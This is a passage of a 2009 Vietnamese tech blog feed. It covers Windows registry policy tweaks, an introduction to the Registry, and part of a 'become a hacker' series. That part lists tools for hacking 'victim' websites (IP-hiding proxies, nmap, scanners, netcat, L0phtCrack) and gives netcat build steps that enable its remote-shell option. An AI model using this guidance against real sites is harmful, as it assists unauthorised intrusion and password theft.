Z: 33554432, ALL: 67108863&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\  CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\  Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name:  NoDrives&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tắt cửa sổ Task Manager: &lt;/span&gt;&lt;br /&gt;User Key:  HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;System&lt;br /&gt;Name: DisableTaskMgr&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value:  (0 = default, 1 = disable Task Manager)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Hạn  chế một số thay đổi các thư mục riêng của người dùng: &lt;/span&gt;&lt;br /&gt;·  DisablePersonalDirChange - Hạn chế thay đổi thư mục My Documents.&lt;br /&gt;&lt;br /&gt;·  DisableMyPicturesDirChange - Hạn chế thay đổi thư mục My Pictures.&lt;br /&gt;&lt;br /&gt;·  DisableMyMusicDirChange - Hạn chế thay đổi thư mục My Music&lt;br /&gt;&lt;br /&gt;·  DisableFavoritesDirChange - Hạn chế thay đổi thư mục Favorites&lt;br /&gt;&lt;br /&gt;User Key:  HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\  CurrentVersion\ Policies\&lt;br /&gt;Explorer.&lt;br /&gt;Name: DisablePersonalDirChange,  DisableMyPicturesDirChange, DisableMyMusicDirChange, DisableFavoritesDirChange.&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = allow changes, 1 = restrict  changes)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tắt chế độ theo dõi người dùng:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\  CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\  Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name:  NoInstrumentation&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (1 = enable  restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không cho phép dùng công cụ  Registry Editor để chỉnh sửa Registry: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key:  HKEY_CURRENT_USER\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;System&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\  CurrentVersion\ Policies\&lt;br /&gt;System&lt;br /&gt;Name: DisableRegistryTools&lt;br /&gt;Type:  REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = allow regedit, 1 = disable regedit)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tắt lệnh Shut Down: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User  Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\  CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: NoClose&lt;br /&gt;Type: REG_DWORD  (DWORD Value)&lt;br /&gt;Value: (0 = shutdown enabled, 1 = shutdown disabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ngăn cản truy cập thành phần cập nhật  Windows. &lt;/span&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\  Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: NoWindowsUpdate&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = default, 1 = disabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không cho phép dùng phím Windows: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User  Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\  CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: NoWinKeys&lt;br /&gt;Type: REG_DWORD  (DWORD Value)&lt;br /&gt;Value: (0 = disable restriction, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Xoá Page File khi tắt máy:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\  Control\ Session Manager\&lt;br /&gt;Memory Management&lt;br /&gt;Name:  ClearPageFileAtShutdown&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 =  disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tắt các lệnh Run đã  chỉ định trong Registry: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\  Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System  Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: DisableLocalMachineRun, DisableLocalMachineRunOnce,  DisableCurrentUserRun, DisableCurrentUserRunOnce&lt;br /&gt;Type: REG_DWORD (DWORD  Value)&lt;br /&gt;Value: (0 = enable run, 1 = disable run)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Hạn chế một số ứng dụng mà các người dùng có thể chạy:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tạo các khoá mới tên là 1, 2, 3, ...... với kiểu REG_SZ và  nhập đường dẫn vào cho giá trị các khoá đó để chỉ định các chương trình không  cho phép người dùng chạy.&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\  Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: DisallowRun &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Tìm hiểu về Windows Registry - Phần I</title><link>http://blogthuthuatvn.blogspot.com/2009/10/tim-hieu-ve-windows-registry-phan-i.html</link><category>Thủ thuật dành cho winxp</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Mon, 12 Oct 2009 08:04:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-1581810612912516538</guid><description>&lt;span style="font-weight: bold; font-family: arial;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;1. Giới thiệu về Registry:&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Registry là một cơ sở dữ liệu dùng để lưu trữ thông số kỹ thuật của Windows. Nó ghi nhận tất cả các thông tin khi bạn thay đổi, chỉnh sửa trong Menu Settings, Control Panel....&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;2. Registry để ở đâu:&lt;/span&gt;&lt;br /&gt;Trong Win95 &amp;amp; 98, Registry được ghi trong 2 file: user.dat và system.dat trong thư mục Windows. Trong Windows Me, Registry được lưu trong file Classes.dat trong thư mục Windows. Trong Win2K Registry được lưu trong thư mục ``Windows\System32\Config``.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;3 Registry có thể chỉnh sửa được không? &lt;/span&gt;&lt;br /&gt;Registry có thể chỉnh sửa trực tiếp, làm thay đổi các thông số thông qua trình chỉnh sữa Registry Editor. Chạy Registry Editor bằng cách gõ regedit vào cửa sổ Run.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;4 Cấu trúc của Registry: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Registry có cấu trúc cây, giống cấu trúc thư mục. Thông thường có sáu nhánh chính. Mỗi nhánh được giao hiệm vụ lưu giữ những thông tin riêng biệt. Trong các nhánh chính có rất nhiều nhánh con. Những nhánh con này cũng được lưu giữ nhưng thông tin riêng biệt.&lt;br /&gt;HKEY_CLASSES_ROOT: Lưu những thông tin dùng chung cho toàn bộ hệ thống.&lt;br /&gt;&lt;br /&gt;HKEY_CURRENT_USER: Lưu những thông tin cho người dùng đang Logon&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE: Lưu những thông tin về hệ thống, phần cứng, phần mềm.&lt;br /&gt;&lt;br /&gt;HKEY_USERS: Lưu những thông tin của tất cả các User, mỗi user là một nhánh với tên là số ID của user đó&lt;br /&gt;&lt;br /&gt;HKEY_CURRENT_CONFIG: Lưu thông tin về phần cứng hiện tại đang dùng.&lt;br /&gt;&lt;br /&gt;HKEY_DYN_DATA: Đây cũng là một phần của nhánh HKEY_LOCAL_MACHINE&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;5. Các kiểu dữ liệu dùng trong Registry: &lt;/span&gt;&lt;br /&gt;-REG_BINARY: Kiểu nhị phân&lt;br /&gt;-REG_DWORD: Kiểu Double Word&lt;br /&gt;-REG_EXPAND_SZ: Kiểu chuỗi mở rộng đặc biệt. VD: ``%SystemRoot%``&lt;br /&gt;-REG_MULTI_SZ: Kiểu chuỗi đặc biệt&lt;br /&gt;-REG_SZ: Kiểu chuỗi chuẩn&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;6.  Tại sao cần phải biết về Registry? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;- Registry lưu tất cả các thông tin về phần cứng, phần mềm, những lựa chọn của người dùng....kiểm soát được nội dung của Registry là yêu cầu tất yếu để bạn sử dụng PC một cách khoa học, hiểu sâu hơn về môi trường làm vịệc của Windows.&lt;br /&gt;- Muốn tiến xa hơn trong kỹ thuật lập trình trên nền Windows, cách bảo mật, cracking, hacking bạn cần phải có hiểu biết nhất định về Registry.&lt;br /&gt;- Hầu hết các thủ thuật trong Windows mà các tạp chí tin học tên tuổi của Việt Nam đã và sẽ đăng có liên quan mật thiết đến Windows Registry.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;7. Cảnh báo!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Khi sử dụng Registry Editor bạn phải tiến hành sao lưu Registry. Mọi thay đổi có thể làm máy của bạn không khởi động, treo máy, ..... . Sao lưu bằng cách chạy Registry Editor : File - Export ...... và lưu vào chổ an toàn.&lt;br /&gt;&lt;br /&gt;Nếu chưa có kiến thức về Windows Registry xin bạn đọc một chút các dòng hướng dẫn bên dưới.&lt;br /&gt;&lt;br /&gt;- Dòng sau các từ: User Key, Sytem Key, hoặc Key cho biết đường dẫn đến nhánh cần sữa chữa hoặc tạo mới nếu nó không tồn tại.&lt;br /&gt;Lưu ý: User Key: là để thay đổi đó có tác dụng với người đang Logon. System Key: là để thay đổi đó có tác dụng với tất cả người dùng.&lt;br /&gt;-Dòng Name là tên của khoá cần tạo, nó là nhánh con bên cửa sổ bên phải của Registry&lt;br /&gt;-Dòng Type là kiểu dữ liệu của khoá mới tạo&lt;br /&gt;-Dòng : Value là giá trị của khoá&lt;br /&gt;&lt;br /&gt;ACTIVE DESKTOP&lt;br /&gt;&lt;br /&gt;Cho phép chế độ Desktop hoạt động hay không:&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer&lt;br /&gt;Name: ForceActiveDesktopOn&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = default, 1 = enabled)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Một số ngăn cản khi cho phép chế độ Desktop hoạt động.&lt;br /&gt;NoChangingWallpaper - Không cho phép thay đổi hình Wallpaper.&lt;br /&gt;NoComponents - Không cho phép hiển thị các thành phần.&lt;br /&gt;NoAddingComponents - Không cho phép thêm các thành phần mới.&lt;br /&gt;NoDeletingComponents - Không cho phép xoá các thành phần.&lt;br /&gt;NoEditingComponents - Không cho phép sữa các thành phần.&lt;br /&gt;NoCloseDragDropBands - Không cho phép chức năng dùng chuột kéo thả trên Desktop.&lt;br /&gt;NoMovingBands - Không cho phép chức năng kéo thả các Taskbar đi nơi khác trên Desktop.&lt;br /&gt;NoHTMLWallPaper - Chỉ cho phép hình dạng bitmaps (BMP).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;User Key:HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ ActiveDesktop.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ ActiveDesktop.&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disable restriction, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;Ẩn chức năng Active Desktop từ Menu Settings trên Start Menu.&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;Name: NoSetActiveDesktop&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disable restriction, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;Không cho thay đổi chế độ Active Destop.&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer&lt;br /&gt;Name: NoActiveDesktopChanges&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disable restriction, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;CONTROL PANEL&lt;br /&gt;&lt;br /&gt;Không cho phép thay đổi kiểu dáng của các Controls.&lt;br /&gt;&lt;br /&gt;Phần này sẽ hạn chế một phần hoặc tất cả các chức năng trong mục (Tab) Appearance trong Display. Gán giá trị 0: để hiện, 1 để ẩn với các tên khoá đưa ra phía bên dưới.&lt;br /&gt;&lt;br /&gt;NoVisualStyleChoice - không cho phép thay đổi kiểu dáng của các cửa sổ và út nhấn.&lt;br /&gt;NoColorChoice - Không cho phép thay đổi sơ đồ màu.&lt;br /&gt;NoSizeChoice - Không cho phép thay đổi cỡ chữ.&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;&lt;br /&gt;Name: NoColorChoice, NoSizeChoice, NoVisualStyleChoice, SetVisualStyle.&lt;br /&gt;&lt;br /&gt;Tắt chế độ Themes Settings trong Display trong Control Panel:&lt;br /&gt;&lt;br /&gt;Themes Settings để thay đổi kiểu dáng của các cửa sổ các nút nhấn. Nếu không thích sài thì cất chúng đi bằng cách tạo một khoá mới với tên `NoThemesTab` và gán giá trị cho nó là 1.&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;Name: NoThemesTab&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = default, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;Tắt chế độ thay đổi Keyboard Navigation Settings trong Control Panel:&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;Name: NoChangeKeyboardNavigationIndicators&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = default, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;Ngăn cản tính năng trình diễn hoạt hình Animation Settings.&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;Name: NoChangeAnimation&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = default, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;Điều khiển chế độ hoạt hình :&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Control Panel\ Desktop\ WindowMetrics&lt;br /&gt;Name: MinAnimate&lt;br /&gt;Type: REG_SZ (String Value)&lt;br /&gt;Value: (0=disable, 1=enable)&lt;br /&gt;&lt;br /&gt;Tắt Settings của Display trong Control Panel:&lt;br /&gt;&lt;br /&gt;Điều này cũng có nghĩa là bạn không thể thay đổi được độ phân giản của màn hình mục Settings không được phép hoạt động.&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;Name: NoDispSettingsPage&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;Tắt mục ScreenSaver của Display trong Control Panel:&lt;br /&gt;&lt;br /&gt;Khi tắt mục ScreenSaver không có nghĩa là tắt chế độ ScreenSaver tự chạy, mà là ẩn không cho thay đổi, chỉnh sữa ScreenSaver. Vì vậy trước khi tắt nó đi bạn phải cân nhắc.&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;Name: NoDispScrSavPage&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;Tắt mục thay đổi hình nền của Display trong Control Panel:&lt;br /&gt;&lt;br /&gt;Không cho thay đổi hình nền, màu nền của Desktop.&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;Name: NoDispBackgroundPage&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;Tắt mục Appearance của Display trong Control Panel.&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;Name: NoDispAppearancePage&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 8</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-hieu-biet-co-ban-nhat-e-tro-thanh_5074.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:30:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-286697688675351809</guid><description>&lt;title&gt;Hacker08&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link style="font-family: arial; font-weight: bold;" href="./Hacker08_files/filelist.xml" rel="File-List"&gt;&lt;link style="font-family: arial; font-weight: bold;" href="./Hacker08_files/editdata.mso" rel="Edit-Time-Data"&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt;  &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:purple; 	text-decoration:underline; 	text-underline:single;} span.highlight 	{mso-style-name:highlight;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div style="font-family: arial; font-weight: bold;" class="Section1"&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 14pt;" lang="VI"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style="" lang="VI"&gt;47 . ) Các  công cụ cần thiết để hack Web :
&lt;br /&gt;_ Đối với các &lt;span class="highlight"&gt;hacker&lt;/span&gt; chuyên nghiệp thì họ sẽ không cần sử dụng những  công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng  trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề” thì những  công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn sẽ biết cách phối  hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất .  Sau đây là một số công cụ bạn cần phải có trên máy “làm ăn” của mình : 
&lt;br /&gt;
&lt;br /&gt;&lt;u&gt;_ Công cụ thứ 1 :&lt;/u&gt; Một cái proxy dùng để che dấu IP và vượt  tường lửa khi cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem  lại nhé ) .
&lt;br /&gt;&lt;u&gt;_ Công cụ thứ 2 :&lt;/u&gt; Bạn cần có 1 shell account, cái  này thực sự quan trọng đối với bạn . Một shell account tốt là 1 shell account  cho phép bạn chạy các chương trình chính như nslookup, &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt;, dig, ping, traceroute, telnet, ssh, ftp,...và shell  account đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch  (compile) các exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác. 
&lt;br /&gt;Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức  năng hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu  bạn không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu  có ai đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào  telnet (Start -- &gt; Run -- &gt; gõ Telnet) để dùng shell account đó. Sau đây  là 1 số địa chỉ bạn có thể đăng ký free shell account :
&lt;br /&gt;&lt;a href="http://www.freedomshell.com/" target="_blank"&gt;http://www.freedomshell.com/&lt;/a&gt;
&lt;br /&gt;&lt;a href="http://www.cyberspace.org/shell.ht" target="_blank"&gt;http://www.cyberspace.org/shell.ht&lt;/a&gt; ml
&lt;br /&gt;&lt;a href="http://www.ultrashell.net/" target="_blank"&gt;http://www.ultrashell.net/&lt;/a&gt; 
&lt;br /&gt;&lt;u&gt;_Công cụ thứ 3 : &lt;/u&gt;NMAP là Công cụ quét cực nhanh và mạnh. Có  thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn  xem những dịch vụ nào đang chạy trên &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; (services / ports : webserver , ftpserver ,  pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP  hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol , Null scan  , TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các &lt;span class="highlight"&gt;Hacker&lt;/span&gt; cũng như các nhà quản trị mạng trên thế giới. 
&lt;br /&gt;Mọi thông tin về NMAP bạn tham khảo tại &lt;a href="http://www.insecure.org/" target="_blank"&gt;http://www.insecure.org/&lt;/a&gt; .
&lt;br /&gt;&lt;u&gt;_ Công cụ thứ 4&lt;/u&gt; :  Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32.  Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác. 
&lt;br /&gt;&lt;u&gt;_ Công cụ thứ 5 :&lt;/u&gt; IntelliTamper là công cụ hiển thị cấu trúc  của một Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục  và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack  một Website thì bạn phải nắm một số thông tin của Admin và Website đó. 
&lt;br /&gt;&lt;u&gt;_ Công cụ thứ 6 :&lt;/u&gt; Netcat là công cụ đọc và ghi dữ liệu qua  mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp  hoặc sử dụng chương trình script khác để điều khiển Netcat. Netcat được coi như  1 exploitation tool do nó có thể tạo được liên kết giữa bạn và &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; cho việc đọc và ghi dữ liệu ( tất nhiên là khi Netcat  đã được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham khảo  tại &lt;a href="http://www.l0pht.com/" target="_blank"&gt;http://www.l0pht.com/&lt;/a&gt; . 
&lt;br /&gt;&lt;u&gt;_ Công cụ thứ 7 :&lt;/u&gt; Active Perl là công cụ đọc các file Perl  đuôi *.pl vì các exploit thường được viết bằng Perl . Nó còn được sử dụng để thi  hành các lệnh thông qua các file *.pl .
&lt;br /&gt;&lt;u&gt;_ Công cụ thứ 8 :&lt;/u&gt;  Linux là hệ điều hành hầu hết các &lt;span class="highlight"&gt;hacker&lt;/span&gt; đều sử  dụng.
&lt;br /&gt;&lt;u&gt;_ Công cụ thứ 9 :&lt;/u&gt; L0phtCrack là công cụ số một để Crack  Password của Windows NT/2000 .
&lt;br /&gt;_ Cách Download tôi đã bày rồi nên không nói  ở đây , các bạn khi Download nhớ chú ý đến các phiên bản của chúng , phiên bản  nào có số lớn nhất thì các bạn hãy Down về mà sài vì nó sẽ có thêm một số tính  năng mà các phiên bản trước chưa có . Nếu down về mà các bạn không biết sử dụng  thì tìm lại các bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy  thì cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn .
&lt;br /&gt;
&lt;br /&gt;48 . )  Hướng dẫn sử dụng Netcat :
&lt;br /&gt;
&lt;br /&gt;&lt;u&gt;a . ) Giới thiệu :&lt;/u&gt; Netcat là một  công cụ không thể thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh  và tiện dụng . Do đó bạn cần biết một chút về Netcat .
&lt;br /&gt;&lt;u&gt;b . ) Biên  dịch&lt;/u&gt; :
&lt;br /&gt;_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi  sử dụng.
&lt;br /&gt;- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
&lt;br /&gt;+ tìm dòng  res_init(); trong main() và thêm vào trước 2 dấu ``/``: // res_init();
&lt;br /&gt;+  thêm 2 dòng sau vào phần #define (nằm ở đầu file):
&lt;br /&gt;
&lt;br /&gt;#define  GAPING_SECURITY_HOLE
&lt;br /&gt;#define TELNET
&lt;br /&gt;
&lt;br /&gt;- biên dịch: make linux
&lt;br /&gt;-  chạy thử: ./nc -h
&lt;br /&gt;- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ  cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ``:.`` 
